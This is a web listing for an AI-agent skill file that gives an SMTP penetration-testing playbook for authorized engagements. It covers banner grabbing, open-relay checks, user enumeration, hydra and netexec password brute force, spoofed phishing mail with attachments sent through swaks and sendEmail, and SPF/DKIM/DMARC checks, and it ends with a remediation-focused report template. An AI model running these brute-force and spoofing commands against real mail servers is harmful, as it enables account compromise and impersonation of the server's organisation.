Pentesting smtp

From xalgorix/xalgorix · View interactive version

Pentesting smtp is an AI agent skill from the GitHub repository xalgorix/xalgorix. Testing SMTP services (default ports 25, 465/SSL, 587/submission) for open relays, user enumeration (VRFY/EXPN/RCPT), NTLM info disclosure, weak/no authentication, SPF/DKIM/DMARC spoofing gaps, Secure Email Gateway bypass, and SMTP smuggling during authorized engagements.

How to use this skill

Skill file

Pentesting SMTP (ports 25, 465, 587)

When to Use

Quick Enumeration

# Plaintext banner + manual session
nc -vn <IP> 25

# SMTPS / STARTTLS
openssl s_client -crlf -connect <IP>:465              # implicit TLS
openssl s_client -starttls smtp -crlf -connect <IP>:587

# MX discovery
dig +short mx <domain>

# nmap scripts: commands, open-relay, NTLM info
nmap -p25 --script smtp-commands <IP>
nmap -p25 --script smtp-open-relay -v <IP>
nmap -p25 --script smtp-ntlm-info <IP>

Critical: Checks Most Often Missed

```bash

nc <IP> 25

HELO x

VRFY root # 250 = exists, 550 = unknown

EXPN root

RCPT TO:admin # compare 250 vs 550

smtp-user-enum -M VRFY -U users.txt -t <IP>

```

```bash

dig txt <domain> | grep spf

dig 20120113._domainkey.<domain> TXT | grep p=

dig _dmarc.<domain> txt | grep DMARC # p=none/quarantine/reject

```

Workflow

Step 1: Enumerate (version, commands, auth)

nc -vn <IP> 25
# HELO/EHLO then read advertised features:
EHLO attacker.local        # note STARTTLS, AUTH, VRFY, EXPN, SIZE, CHUNKING/BDAT, PIPELINING
nmap -p25 --script smtp-commands,smtp-ntlm-info <IP>

Step 2: User enumeration + auth brute force

# Username enumeration
smtp-user-enum -M VRFY -U users.txt -t <IP>
smtp-user-enum -M RCPT -U users.txt -t <IP>
nmap --script smtp-enum-users <IP>
msfconsole -q -x 'use auxiliary/scanner/smtp/smtp_enum; set RHOSTS <IP>; run; exit'

# Auth brute force (when AUTH is required)
hydra -L users.txt -P passwords.txt smtp://<IP>
nxc smtp <IP> -u users.txt -p passwords.txt

Step 3: Exploit / Extract (relay, spoof, deliver)

# Confirm open relay manually
nc <IP> 25
HELO x
MAIL FROM:<attacker@evil.com>
RCPT TO:<victim@external.com>
DATA
Subject: relay test
.
QUIT

# Send a spoofed / phishing message
sendEmail -t to@domain.com -f from@attacker.com -s <IP> -u "Important" -a /tmp/payload.pdf
swaks --to hr@example.local --from ceo@example.local --header "Subject: Resume" \
      --body "Please review" --attach @resume.doc --server <IP>     # @ embeds file bytes

# Validate spoofing posture
python3 -m pip install checkdmarc && checkdmarc <domain>

Step 4: Post-access / pivot

Key Concepts

| Concept | Description |

|---------|-------------|

| Open relay | MTA forwards mail between arbitrary external parties — abused for spam/phishing. |

| VRFY / EXPN / RCPT enum | Verb responses differentiate valid vs invalid local accounts. |

| SPF | DNS TXT listing authorized sender IPs; ~all (softfail) / -all (fail) qualifiers. |

| DKIM | DNS-published public key validates a cryptographic signature on outbound mail. |

| DMARC | Policy (p=none/quarantine/reject) + alignment tying SPF/DKIM to the From domain. |

| SEG bypass | MX of an accepted domain pointing at the origin MTA skips gateway inspection. |

| SMTP smuggling | Desync of end-of-data parsing between hops to inject a second message past controls. |

Tools & Systems

| Tool | Purpose |

|------|---------|

| nmap NSE | smtp-commands, smtp-open-relay, smtp-ntlm-info, smtp-enum-users. |

| nc / openssl s_client | Manual SMTP/SMTPS sessions, relay and enum testing. |

| smtp-user-enum | VRFY/EXPN/RCPT user enumeration. |

| swaks / sendEmail | Crafting and sending spoofed/phishing mail with attachments. |

| hydra / netexec (nxc) | SMTP AUTH brute force / spraying. |

| Metasploit | scanner/smtp/smtp_enum, scanner/smtp/smtp_version. |

| checkdmarc / mailspoof / magicspoofing | Automated SPF/DKIM/DMARC misconfiguration discovery. |

Common Scenarios

Scenario 1: Open relay enables phishing

nmap --script smtp-open-relay confirms the MTA relays for external recipients. The tester sends a spoofed internal-looking email via swaks to demonstrate phishing capability against staff.

Scenario 2: User enumeration → password spray

VRFY/RCPT differences reveal valid mailbox names. The list feeds an OWA/VPN password spray, landing one valid corporate credential.

Scenario 3: DMARC p=none lets domain spoofing

dig _dmarc.<domain> returns p=none. With no enforcement, swaks --from ceo@<domain> is delivered to inboxes, proving impersonation risk.

Output Format

## SMTP Finding

**Service**: SMTP
**Port**: 25/tcp (Postfix)
**Severity**: High
**Finding**: Open mail relay + missing DMARC enforcement
**Evidence**:
  - nmap smtp-open-relay: "Server is an open relay"
  - manual MAIL FROM:<a@evil.com> / RCPT TO:<b@external.com> accepted (250)
  - dig _dmarc.<domain>: "v=DMARC1; p=none"
**Impact**: Attackers can relay spam/phishing through the server and spoof the organization's domain, damaging reputation and enabling social engineering.
**Recommendation**:
  1. Restrict `mynetworks`/relay to trusted hosts only; never 0.0.0.0/0.
  2. Disable VRFY/EXPN; normalize RCPT responses.
  3. Publish strict SPF (`-all`), DKIM, and DMARC (`p=reject`, strict alignment).
  4. Ensure all accepted-domain MX records route through the Secure Email Gateway.
Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.